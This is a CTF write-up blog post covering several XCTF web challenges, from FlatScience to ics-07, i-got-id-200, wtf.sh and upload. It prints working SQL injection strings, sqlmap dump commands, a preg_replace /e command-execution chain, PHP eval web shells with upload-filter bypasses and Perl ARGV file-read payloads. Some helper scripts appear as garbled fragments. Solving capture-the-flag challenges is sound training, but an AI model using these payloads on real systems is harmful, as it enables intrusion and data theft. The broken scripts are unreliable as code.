Offensive and defensive world web advanced area brush questions record

web advanced area

Continue to write the record of the offense and defense world, some skills still need to be written down, not written by buuctf


Confused and confused, check wp, first check robots.txt

Then try to visit and find that adding 'to login.php' gets an error message, the database is sqlite

View the source code to get hint, then add ?debug to get the source code

if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
        $row = $res->fetchArray();
        echo "<br>Some Error occourred!";

            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");



The sql injection point is located in the query function, and the sql feedback point is located in the setcookie function. It should be noted that the password is spliced ​​with the salt 'Salz!' and then passed into the query logic after a sha1 hash. This also means that the "password" entry in the database stores the hash value of the password after salting.

The sql definition of the user table can be found by querying its global schema table sqlite_master (which stores the definitions of all tables, views, indexes, triggers, etc. in this database).
user='union select name,sql from sqlite_master --(sqlite comment is '- -')

Get Set-Cookie:

id int primary key,
name varchar(255),
password varchar(255),
hint varchar(255)

Then you need to get id, name, password, hint:
usr=%27 UNION SELECT id, name from Users limit 0,1--

usr=%27 UNION SELECT id, password from Users limit 0,1--

usr=%27 UNION SELECT id, hint from Users limit 0,1--

If you log in, you should use the sha1 function and salt to find the password. The password is hidden in the professor's paper, so we need to crawl all the pdf s of the site and convert them to txt, and compare them one by one for blasting.
Use the master script to crawl the pdf:

import urllib.request
import re


def my_reptile(url_root,html):
	global pat_pdf
	global pat_html
		print("[*]starting to crawl site:{}".format(html))
		with urllib.request.urlopen(html) as f:'utf-8')
		for p in pdf_url:
		for h in html_url:
def download_pdf(pdf):
	global count
	print("[+]downloading pdf from site:{}".format(pdf))
	with urllib.request.urlopen(pdf) as f:
def isnew(html):
	global allHtml
	for h in allHtml:
			return False
	return True

if __name__=="__main__":

After many errors during installation, I finally found that pdfminer3k is to be installed. It is recommended to use proxy installation:
pip3 install -i pdfminer3k
Convert pdf to txt script:

from pdfminer.pdfparser import PDFParser,PDFDocument
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal,LAParams
from pdfminer.pdfinterp import PDFTextExtractionNotAllowed
import os

def pdf2txt(pdfFile,txtFile):
	print('[+]converting {} to {}'.format(pdfFile,txtFile))
	for page in doc.get_pages():
		for x in layout:
def crazyWork():
	print('[*]starting my crazy work')
	for f in os.listdir():
	for f in files:
if __name__=='__main__':

Finally, the password blasting is performed, and the script is as follows:

import os
import hashlib

def searchPassword():
	print('[*]starting to search the word')
	for file in os.listdir():
			print('[+]searching {}'.format(file))
			with open(file,'r',encoding='utf-8') as f:
				for line in f:
					words=line.split(' ')
					for word in words:
							print('[@]haha,i find it:{}'.format(word))
if __name__=='__main__':

Finally log in to admin to get the flag

Offensive and defensive world-new web-FlatScience(python processing pdf, sqlite injection)
[CTF topic summary - web article] Offensive and defensive world: flatscience


Should start with a ping command and find:

  1. Normal URL, returns ping result
  2. Illegal URL, special symbol, return Invalid URL

Here Django debugging mode is turned on, and it is found that if the value in the input box contains url encoding, requesting characters larger than %7F in ?url= will cause Django to report an error.
Enter?url=%80 in the url, you can get the error page:

Get information:

Request Method: POST
Request URL:
Django Version: 1.10.4
Exception Type: UnicodeEncodeError
Python Executable: /usr/bin/python
Python Version: 2.7.12

It is a station that calls Python from PHP. PHP sends data to django's station through CURL, then you can use @ for file transfer. If the above-mentioned characters beyond the encoding range are included in the file content, an error message will be generated. In fact, it contains Chinese. will report an error
ctrl+f search sql to get

Use ?url=@/opt/api/database.sqlite3

refer to: Offensive and defensive world writeup - Web (continuously updated)


Topic description: There are loopholes in the newly added login and registration pages of the industrial control cloud management system, please find the flag
Attempt to find admin failed, found that sql injection can be found at the password recovery
admin' or 1=1#

-1' union select 1,2,3,4#

The injection point is 3, and the query database finds that there is no echo, then run it with sqlmap
python2 -u "" --data="username=1" --dbs

Finally get the account and password:
python2 -u "" --data="username=1" -D cetc004 -T user -C "username,password" --dump

Then go to re-register a c3tlwDmIn23 account and log in


Title description: Other saboteurs will use the backdoor of the industrial control cloud management system equipment maintenance center to invade the system
It is found that only the equipment maintenance center can be entered, and the source code can be viewed:

It is found that a file contains a vulnerability, and the pseudo-protocol reads the source code to obtain key information

//It is convenient to realize the function of input and output, and the function under development can only be tested by internal personnel

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '') {

    echo "<br >Welcome My Admin ! <br >";

    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];

    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);


Vulnerability of function preg_replace(): When the parameter pattern of pre_replace is entered with /e, the code of parameter replacement is executed as PHP code
Then modify the XFF header and enter in index.php:
?pat=/1/e&rep=system("ls /");&sub=1

Find the flag next
?pat=/1/e&rep=system("find -name flag");&sub=1

?pat=/1/e&rep=system("ls ./s3chahahaDir/flag");&sub=1

last? pat=/1/e&rep=show_ source("./s3chahahaDir/flag/flag.php");& Sub=1 get the source code directly or
? pat=/1/e&rep=system("cat ./s3chahahaDir/flag/flag.php");& Sub=1, and check the source code get flag


At first I thought it was a secondary injection, but the result returned wrong, so I can only register an account to see

Capture the packet at the modified password, change the username to admin, successfully modify the admin password, and log in

Modify the XFF header to, enter the message, and check the source code to get a prompt

After reading wp, I found that it was a file upload? module=filemanage&do=upload

Yes <? PHP, changed to <script language= "PHP" > @eval ($\u post['pass'])</ script>
And the uploaded suffix is ​​php5, and the flag is successfully obtained


Topic description: Analysis vulnerability of project management page of industrial control cloud management system

Click view-source to get the source code


    if (!isset($_GET[page])) {

    if (isset($_GET[page]) && $_GET[page] != 'index.php') {
    }else {
      header('Location: ?page=flag.php');
     if ($_SESSION['admin']) {
       $con = $_POST['con'];
       $file = $_POST['file'];
       $filename = "backup/".$file;

       if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
          die("Bad file extension");
           $f = fopen($filename, 'w');
           fwrite($f, $con);

      if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
        include 'config.php';
        $id = mysql_real_escape_string($_GET[id]);
        $sql="select * from cetc007.user where id='$id'";
        $result = mysql_query($sql);
        $result = mysql_fetch_object($result);
      } else {
        $result = False;

      if(!$result)die("<br >something wae wrong ! <br>");
        echo "id: ".$result->id."</br>";
        echo "name:".$result->user."</br>";
        $_SESSION['admin'] = True;

After reading the master's article, the floating-point value of the id passed in first cannot be 1, and the last digit must be 9, so id=1a9 can be constructed

Then the file needs to be uploaded, but the suffix is ​​filtered by the regular, and chdir is used to change the directory to uploaded. Since the regular judges the characters after ., use /. to add an empty directory under the file name directory, which is equivalent to not adding, but wrapping around past the norm. The upload path of the topic is: /uploaded/backup/
Post submit file=a.php/& con=<? php @eval($_POST['pass']);?>

Finally, the ant sword can be connected

The upload path here is still a bit confusing, shouldn't it be uploaded? . . . .
refer to:
Offensive and defensive world web advanced ics-07
ics-07 of XCTF


I found that it was the content of perl, and after watching wp, the background logic of the master's guess:

use strict;
use warnings; 
use CGI;
my $cgi= CGI->new;
if ( $cgi->upload( 'file' ) ) { 
	my $file= $cgi->param( 'file' );
	 while ( <$file> ) { print "$_"; }

At the file uploading place, the content of the uploaded file will be output below. It is guessed that the param() function should be used in the background. If an ARGV file is passed in, then Perl will read the passed parameter as the file name to achieve reading Purpose of any file
Guess existence /flag

Normally: Guess is located in the /var/www/cgi-bin/ directory based on the URL

Execute the command?/bin/bash%20-c%20ls${IFS}/|, %20 is a space and can be replaced with a + sign

Finally get flag?/bin/bash%20-c%20cat${IFS}/flag|

refer to: [wp] Attack and Defense World-i-got-id-200
xctf-i-got-id-200(perl web page file + ARGV upload causes arbitrary file reading)

No idea, look at wp. I haven't seen wtf, so I wrote it according to wp

The first flag

The path traversal vulnerability is found under on the page displaying the article, the source code of the website is obtained, and the flag is found to get:

    <link rel="stylesheet" type="text/css" href="/css/std.css" >
$ if contains 'user' ${!URL_PARAMS[@]} && file_exists "users/${URL_PARAMS['user']}"
$ then
$   local username=$(head -n 1 users/${URL_PARAMS['user']});
$   echo "<h3>${username}'s posts:</h3>";
$   echo "<ol>";
$   get_users_posts "${username}" | while read -r post; do
$       post_slug=$(awk -F/ '{print $2 "#" $3}' <<< "${post}");
$       echo "<li><a href=\"/${post_slug}\">$(nth_line 2 "${post}" | htmlentities)</a></li>";
$   done 
$   echo "</ol>";
$   if is_logged_in && [[ "${COOKIES['USERNAME']}" = 'admin' ]] && [[ ${username} = 'admin' ]]
$   then
$       get_flag1
$   fi
$ fi

When you log in with admin, you can get flag1. After finding that there is a users directory, you can get the cookie of admin.

Then use admin's cookie to log in to get half of the flag

Second paragraph flag

In the comment function, if the user name is a piece of executable code, and the written file is in wtf format, then this file can execute the code we want
Registered user: ${find,/,-iname,get_flag2}

%09 is a horizontal tab, which must be added, otherwise the background will parse our backdoor as a directory

Finally get the content, registered user: $/usr/bin/get_flag2

refer to: of advanced attack and defense world WEB
Record a fairy


I tried to upload various files and found that only jpg was uploaded successfully. Check wp and found that it was injection? ? ? ? ? ?
Due to filtering, double-write bypass using selectect and frfromom.
s'+(selselectect CONV(substr(hex(database()),1,12),16,10))+'.jpg
CONV,substr,hex are used here:
If it is not converted into a number, there is no echo at all, so use hex to convert the characters into hexadecimal first, and then use the CONV function to convert the hexadecimal to decimal, obtain the 12 digits of the substring in turn, and use substr to intercept 12 is Because once it is too long, it will be expressed in scientific notation.
s'+(selectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg to get the second half

Then convert to hexadecimal to get web_upload

s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),13,12),16,10))+'.jpg
s'+(seleselectct+CONV(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema='web_upload' limit 1,1)),25,12),16,10))+'.jpg
 get hello_flag_is_here
s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
 get i_am_flag
s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

This question is more difficult to think about, and the conversion of characters into numbers is very clever, which is really persuasive. . . .
refer to:
Offensive and defensive world advanced upload
Offensive World upload

ics-02 (unfinished)

I got a pdf document, I don't know what to do, I need to scan it to see wp

Found a secret directory

If you cannot directly access secret_debug.php, you can use ssrf to access secret_debug.php

refer to:
[wp] Offensive World ics-02

Tags: Web Development security CTF

Posted by Francoise on Thu, 11 Aug 2022 02:30:34 +0930